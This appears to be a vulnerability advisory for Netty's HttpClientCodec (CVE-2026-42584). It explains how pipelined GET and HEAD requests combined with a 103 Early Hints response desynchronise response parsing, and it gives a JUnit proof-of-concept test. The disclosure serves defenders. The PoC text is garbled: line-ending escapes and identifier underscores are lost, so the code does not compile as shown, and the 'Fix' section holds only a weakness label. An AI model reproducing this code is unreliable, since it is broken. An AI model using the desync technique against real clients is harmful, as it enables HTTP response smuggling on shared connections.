PT-2026-38376 · Maven · Io.Netty:Netty-Codec-Http

Published

2026-05-07

·

Updated

2026-05-07

·

CVE-2026-42584

CVSS v3.1

7.3

High

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Summary

If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another's.

Details

HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.
Prerequisites
  • HTTP/1.1 pipelining
  • HEAD in the pipeline
  • The server sends 1xx

PoC

  @Test
  public void test() {
    EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());

    assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP 1 1, HttpMethod.GET, "/1")));
    ByteBuf request = channel.readOutbound();
    request.release();
    assertNull(channel.readOutbound());

    assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP 1 1, HttpMethod.HEAD, "/2")));
    request = channel.readOutbound();
    request.release();
    assertNull(channel.readOutbound());

    String responseStr = "HTTP/1.1 103 Early Hintsr
r
" +
        "HTTP/1.1 200 OKr
Content-Length: 5r
r
hello" +
        "HTTP/1.1 200 OKr
r
";
    assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US ASCII)));

    // Response 1
    HttpResponse response = channel.readInbound();
    assertEquals(HttpResponseStatus.EARLY HINTS, response.status());
    LastHttpContent last = channel.readInbound();
    assertEquals(0, last.content().readableBytes());
    last.release();

    // Response 2
    response = channel.readInbound();
    assertEquals(HttpResponseStatus.OK, response.status());
    last = channel.readInbound();
    assertEquals(0, last.content().readableBytes());
    last.release();

    // Response 3
    FullHttpResponse response1 = channel.readInbound();
    assertTrue(response1.decoderResult().isFailure());
    assertEquals(0, response1.content().readableBytes());
    response1.release();

    assertFalse(channel.finish());
  }

Impact

Integrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.

Fix

HTTP Request/Response Smuggling

Weakness Enumeration

Related Identifiers

CVE-2026-42584
GHSA-57RV-R2G8-2CJ3

Affected Products

Io.Netty:Netty-Codec-Http